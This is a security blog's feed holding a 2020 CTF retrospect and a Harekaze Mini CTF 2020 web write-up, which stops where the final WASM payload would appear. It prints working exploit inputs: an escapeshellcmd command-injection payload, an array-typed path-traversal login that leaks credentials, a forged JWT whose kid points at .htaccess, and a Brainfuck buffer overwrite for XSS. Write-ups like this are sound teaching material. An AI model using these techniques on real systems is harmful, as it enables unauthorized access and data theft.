Jekyll2020-12-31T15:41:47+00:00http://blog.shpik.kr/feed.xmlshpik’s worldSecurity engineer interested in Web, Pwnable and Browsers(Chrome).
shpik2020 Restrospect2021-01-01T00:00:00+00:002021-01-01T00:00:00+00:00http://blog.shpik.kr/dairy/2021/01/01/2020_Retrospect<p>2020 was a busy year due to company work and personal reasons.</p>
<h2 id="achievement">Achievement</h2>
<ul>
<li>Zer0pts CTF 1st (Team <code class="language-plaintext highlighter-rouge">god_shpik</code>)</li>
<li>Volga CTF Quals 5th (Team <code class="language-plaintext highlighter-rouge">Yurucamp Hackers</code>)</li>
<li>0CTF Quals 1st (Team <code class="language-plaintext highlighter-rouge">koreanbadass</code>)</li>
<li>TSG CTF 5th (Team <code class="language-plaintext highlighter-rouge">Shimarin Fan Club</code>)</li>
<li>Interkosen CTF 1st (Team <code class="language-plaintext highlighter-rouge">hypwnlab</code>)</li>
<li>Cyber Operations Challenge CTF Quals 6th, Finalist (Team <code class="language-plaintext highlighter-rouge">승객들</code>)</li>
<li>SECCON CTF 8th (Team <code class="language-plaintext highlighter-rouge">Disaster-level Hacker Laboratory</code>)</li>
<li>TrendMicro CTF Quals 6th, Finalist (Team <code class="language-plaintext highlighter-rouge">ReverseLab</code>)</li>
<li>Harekaze Mini CTF 1st (Team <code class="language-plaintext highlighter-rouge">NekoLover</code>)</li>
</ul>
<h2 id="operator">Operator</h2>
<ul>
<li>Bingo CTF in PoC Conference (Team <code class="language-plaintext highlighter-rouge">hypwnlab</code>)
<ul>
<li>Whale Rice: CSS</li>
<li>Simple Memo: Uninitialize Stack</li>
<li>Simple Game: C++</li>
</ul>
</li>
<li>H University CTF (Team <code class="language-plaintext highlighter-rouge">ReverseLab</code>)
<ul>
<li>???: Apache, SSRF</li>
<li>???: Nginx, ACL Bypass</li>
</ul>
</li>
</ul>shpik2020 was a busy year due to company work and personal reasons.Harekaze Mini CTF 2020 writeup2020-12-30T15:00:00+00:002020-12-30T15:00:00+00:00http://blog.shpik.kr/ctf/2020/12/30/HarekazeCTF<p>1st placed at NekoLover(@shpik)</p>
<p>I attended to Harekaze Mini CTF 2020 with <code class="language-plaintext highlighter-rouge">JJY</code>, <code class="language-plaintext highlighter-rouge">rbtree</code>, <code class="language-plaintext highlighter-rouge">03sunf</code>, and we got a first place :).
I wrote writeup on some of the challs I solved.</p>
<p>It was a really fun CTF after a long time ago.</p>
<h2 id="web-what-time-is-it-now">[Web] What time is it now?</h2>
<h3 id="description">Description</h3>
<p>It’s about …</p>
<h3 id="solve">Solve</h3>
<p>Here is source code:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'source'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nb">highlight_file</span><span class="p">(</span><span class="k">__FILE__</span><span class="p">);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$format</span> <span class="o">=</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'format'</span><span class="p">])</span> <span class="o">?</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'format'</span><span class="p">]</span> <span class="o">:</span> <span class="s1">'%H:%M:%S'</span><span class="p">;</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="s2">"date '+"</span> <span class="mf">.</span> <span class="nb">escapeshellcmd</span><span class="p">(</span><span class="nv">$format</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"' 2>&1"</span><span class="p">);</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>As you can see, this chall is command injection.
Basically, If <code class="language-plaintext highlighter-rouge">escapeshellcmd</code> is a pair of <code class="language-plaintext highlighter-rouge">'</code> or <code class="language-plaintext highlighter-rouge">"</code>, it is not escape.</p>
<p>https://www.php.net/manual/en/function.escapeshellcmd.php</p>
<blockquote>
<table>
<tbody>
<tr>
<td>Following characters are preceded by a backslash: &#;`</td>
<td>*?~<>^()[]{}$\, \x0A and \xFF. ‘ and “ are escaped only if they are not paired.</td>
</tr>
</tbody>
</table>
</blockquote>
<p>Payload: ‘ ‘-f/flag</p>
<p>FLAG: HarekazeCTF{1t’s_7pm_1n_t0ky0}</p>
<h2 id="web-avatar-viewer">[Web] avatar-viewer</h2>
<h3 id="description-1">Description</h3>
<p>Do you remember the challenges named Avatar Uploader? As you know, that Web app has critical vulnerabilities. This time I removed upload functions for safety.</p>
<h3 id="solve-1">Solve</h3>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/myavatar.png</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">request</span><span class="p">,</span> <span class="nx">reply</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">username</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">username</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">please log in to view this page</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">username</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1">.</span><span class="dl">'</span><span class="p">)</span> <span class="o">||</span> <span class="nx">username</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">)</span> <span class="o">||</span> <span class="nx">username</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="se">\\</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">no hacking!</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">const</span> <span class="nx">imagePath</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">normalize</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">__dirname</span><span class="p">}</span><span class="s2">/images/</span><span class="p">${</span><span class="nx">username</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">imagePath</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">no hacking!</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">reply</span><span class="p">.</span><span class="nx">type</span><span class="p">(</span><span class="dl">'</span><span class="s1">image/png</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">fs</span><span class="p">.</span><span class="nx">existsSync</span><span class="p">(</span><span class="nx">imagePath</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="nx">imagePath</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">images/default</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>As you can see, <code class="language-plaintext highlighter-rouge">/myavatar.png</code> endpoint is return images via <code class="language-plaintext highlighter-rouge">fs.readFileSync</code>.
When calling <code class="language-plaintext highlighter-rouge">ffs.readFileSync</code>, Argument is setted by username stored session.
And, we can’t use <code class="language-plaintext highlighter-rouge">.</code>, <code class="language-plaintext highlighter-rouge">/</code>, and <code class="language-plaintext highlighter-rouge">\</code> because it checks using <code class="language-plaintext highlighter-rouge">includes</code>.</p>
<p>Let’s see the login handler:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">request</span><span class="p">,</span> <span class="nx">reply</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">HTTP request body is empty</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="dl">'</span><span class="s1">username</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">request</span><span class="p">.</span><span class="nx">body</span> <span class="o">&&</span> <span class="dl">'</span><span class="s1">password</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">username or password is not provided</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">username</span><span class="p">,</span> <span class="nx">password</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">username</span><span class="p">.</span><span class="nx">length</span> <span class="o">></span> <span class="mi">16</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">username is too long</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">users</span><span class="p">[</span><span class="nx">username</span><span class="p">]</span> <span class="o">!=</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// if users don't have username, then it return undefined.</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">flash</span><span class="p">(</span><span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">username or password is incorrect</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">request</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">username</span><span class="dl">'</span><span class="p">,</span> <span class="nx">username</span><span class="p">);</span>
<span class="nx">reply</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/profile</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>Login handler doesn’t check username and password type whether string or not.
So, we can bypass above <code class="language-plaintext highlighter-rouge">includes</code> logic by inserting <code class="language-plaintext highlighter-rouge">array</code>.</p>
<p>I got a users.json using below query:</p>
<p>Query: {“username”:[”../users.json”],”password”:null}</p>
<p>Users.json</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"guest"</span><span class="p">:</span><span class="w"> </span><span class="s2">"guest"</span><span class="p">,</span><span class="w">
</span><span class="nl">"admin-b01b9d62015f8b68"</span><span class="p">:</span><span class="w"> </span><span class="s2">"b56c497ff08f76536631f2cc1100521ffabfece3d2da67c71176d69dcba41a25"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Finally i logged in and got a flag.</p>
<p>Query: {“username”:[“admin-b01b9d62015f8b68”],”password”:”b56c497ff08f76536631f2cc1100521ffabfece3d2da67c71176d69dcba41a25”}</p>
<p>FLAG: HarekazeCTF{maji_natural_super_nyan}</p>
<h2 id="web-jwt-is-secure">[Web] JWT is secure</h2>
<h3 id="description-2">Description</h3>
<p>I learned implementing a custom session function is prone to be insecure, so this time I adopted JWT (JSON Web Token).</p>
<h3 id="solve-2">Solve</h3>
<p>First, i checked how to get flag, and found below code in <code class="language-plaintext highlighter-rouge">page/admin.php</code>:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$session</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'role'</span><span class="p">)</span> <span class="o">===</span> <span class="s1">'admin'</span><span class="p">)</span> <span class="p">{</span> <span class="cp">?></span>
We have confirmed you are an admin. The flag is: <span class="nt"><b></span><span class="cp"><?=</span> <span class="no">FLAG</span> <span class="cp">?></span><span class="nt"></b></span>.
<span class="cp"><?php</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="cp">?></span>
You have no authority to access this page!
<span class="cp"><?php</span> <span class="p">}</span> <span class="cp">?></span>
</code></pre></div></div>
<p>If i have session with admin role, can get flag.</p>
<p>Therefore i noticed session manage class and found vulnerability.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$cookie_name</span><span class="o">=</span><span class="s1">'jwtsession'</span><span class="p">,</span> <span class="nv">$dir</span><span class="o">=</span><span class="s1">'./keys'</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">cookie_name</span> <span class="o">=</span> <span class="nv">$cookie_name</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">base_dir</span> <span class="o">=</span> <span class="nv">$dir</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="nv">$cookie_name</span><span class="p">,</span> <span class="nv">$_COOKIE</span><span class="p">))</span> <span class="p">{</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nv">$tmp</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JWT</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="nv">$cookie_name</span><span class="p">]);</span>
<span class="nv">$kid</span> <span class="o">=</span> <span class="nv">$tmp</span><span class="o">-></span><span class="nf">getHeader</span><span class="p">(</span><span class="s1">'kid'</span><span class="p">);</span> <span class="c1">// 1. set kid value</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">key</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">getSecretKey</span><span class="p">(</span><span class="nv">$kid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$tmp</span><span class="o">-></span><span class="nf">verify</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">key</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s1">'Signature verification failed'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">jwt</span> <span class="o">=</span> <span class="nv">$tmp</span><span class="p">;</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s1">'Error occurred: '</span> <span class="mf">.</span> <span class="nv">$e</span><span class="o">-></span><span class="nf">getMessage</span><span class="p">());</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">// ... snip ...</span>
<span class="p">}</span>
<span class="k">private</span> <span class="k">function</span> <span class="n">getSecretKey</span><span class="p">(</span><span class="nv">$kid</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$dir</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">base_dir</span> <span class="mf">.</span> <span class="s1">'/'</span> <span class="mf">.</span> <span class="nv">$kid</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'/'</span> <span class="mf">.</span> <span class="nv">$kid</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="nv">$path</span> <span class="o">=</span> <span class="nv">$dir</span> <span class="mf">.</span> <span class="s1">'/'</span> <span class="mf">.</span> <span class="nv">$kid</span><span class="p">;</span>
<span class="c1">// no path traversal, no stream wrapper</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/\.\.|\/\/|:/'</span><span class="p">,</span> <span class="nv">$kid</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s1">'Hacking attempt detected'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$path</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="nb">is_file</span><span class="p">(</span><span class="nv">$path</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s1">'Secret key not found'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$path</span><span class="p">);</span> <span class="c1">// 2. open kid value if passed some check logic.</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The kid value in JWT is setted as key.
And it has some filtering.
Due to insufficient filtering, we can bypass it.</p>
<p>See the dist files, we know .htaccess file in keys directory.
So i use that files, and get flag with admin role session i made.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jwt</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"keys/.htaccess"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">({</span><span class="s">"username"</span><span class="p">:</span> <span class="s">"1"</span><span class="p">,</span><span class="s">"role"</span><span class="p">:</span><span class="s">"admin"</span><span class="p">},</span><span class="n">key</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">"HS256"</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"typ"</span><span class="p">:</span><span class="s">"JWT"</span><span class="p">,</span><span class="s">"kid"</span><span class="p">:</span><span class="s">"./.htaccess"</span><span class="p">}))</span>
</code></pre></div></div>
<p>FLAG: HarekazeCTF{l1st3n_1_just_g1v3_y0u_my_fl4g_4t4sh1_n0_w4v3_w0_t0b4sh1t3_m1ruk4r4}</p>
<h2 id="web-wasm-bf">[Web] WASM BF</h2>
<h3 id="description-3">Description</h3>
<p>Now it is the era of WebAssembly. To learn WebAssembly, I wrote a Brainf*ck interpreter in C and compiled to wasm.</p>
<h3 id="solve-3">Solve</h3>
<p>It’s a WASM chall, but fortunately the source code was given! :happy:</p>
<p>How to work:</p>
<ol>
<li>Input Brainfuck(bf) code (Web)</li>
<li>execute bf code inputed (WASM)
<ul>
<li>Filtering: if char has <code class="language-plaintext highlighter-rouge"><</code> or <code class="language-plaintext highlighter-rouge">></code> values, then it changes to HTML Entity (WASM)</li>
</ul>
</li>
<li>Print in web page (WASM -> Web)</li>
</ol>
<p>Here is filtering code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">print_char</span><span class="p">(</span><span class="kt">char</span> <span class="n">c</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">buffer_pointer</span> <span class="o">+</span> <span class="mi">4</span> <span class="o">>=</span> <span class="n">buffer</span> <span class="o">+</span> <span class="n">BUFFER_SIZE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">flush</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// Prevent XSS!</span>
<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'<'</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'>'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">buffer_pointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'&'</span><span class="p">;</span>
<span class="n">buffer_pointer</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'<'</span> <span class="o">?</span> <span class="sc">'l'</span> <span class="o">:</span> <span class="sc">'g'</span><span class="p">;</span>
<span class="n">buffer_pointer</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'t'</span><span class="p">;</span>
<span class="n">buffer_pointer</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="sc">';'</span><span class="p">;</span>
<span class="n">buffer_pointer</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="o">*</span><span class="n">buffer_pointer</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span>
<span class="n">buffer_pointer</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>I focused on the code below and confirmed that there was no inspection of the boundary.</p>
<p>This allows access to <code class="language-plaintext highlighter-rouge">buffer</code> from <code class="language-plaintext highlighter-rouge">memory</code>, which can cause XSS by bypassing the filtering above.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="n">BUFFER_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buffer_pointer</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">memory</span><span class="p">[</span><span class="n">MEMORY_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">program</span><span class="p">[</span><span class="n">PROGRAM_MAX_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="nf">execute</span><span class="p">(</span><span class="kt">int</span> <span class="n">length</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">length</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">program</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">_get_char</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// ...snip...</span>
<span class="k">while</span> <span class="p">(</span><span class="n">counter</span> <span class="o"><</span> <span class="n">length</span> <span class="o">&&</span> <span class="n">executed</span> <span class="o"><</span> <span class="mi">100000</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="n">program</span><span class="p">[</span><span class="n">counter</span><span class="p">];</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// ...snip...</span>
<span class="k">case</span> <span class="sc">'>'</span><span class="p">:</span> <span class="p">{</span>
<span class="n">pointer</span><span class="o">++</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">case</span> <span class="sc">'<'</span><span class="p">:</span> <span class="p">{</span>
<span class="n">pointer</span><span class="o">--</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// ...snip...</span>
<span class="p">}</span>
<span class="c1">// ...snip...</span>
<span class="p">}</span>
<span class="c1">// ...snip...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Finally, i found index for overwritting <code class="language-plaintext highlighter-rouge">buffer</code> and got flag.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">executeButton</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">click</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="c1">//execute(edit.value);</span>
<span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span><span class="nx">i</span><span class="o"><</span><span class="mh">0x200</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">){</span>
<span class="nx">rr</span><span class="o">=</span> <span class="dl">"</span><span class="s2">----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.>--[----->+<]>-.[--->+<]>-.[->+++<]>-.+++++++++++.[--->+<]>++++.----[->+++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.[--->++<]>-.++++[->+++<]>.----.--[--->+<]>---.++++[->+++<]>+.+++++.---[->+++<]>-.[--->++<]>-.++.+[->+++<]>.[--->+<]>---.+.--.[--->+<]>++.+++++++++.--------..-[-->+++<]>+.</span><span class="dl">"</span>
<span class="nx">t</span> <span class="o">=</span> <span class="nx">rr</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"><</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">.</span><span class="dl">"</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span> <span class="o">></span> <span class="mi">1000</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
<span class="nx">ee</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">execute</span><span class="p">(</span><span class="nx">t</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nx">ee</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">=</span><span class="dl">"</span><span class="p">){</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span> <span class="nx">t</span><span class="p">,</span> <span class="nx">ee</span> <span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">},</span> <span class="kc">false</span><span class="p">);</span>
</code></pre></div></div>
<p>Here is my final payload:</p>
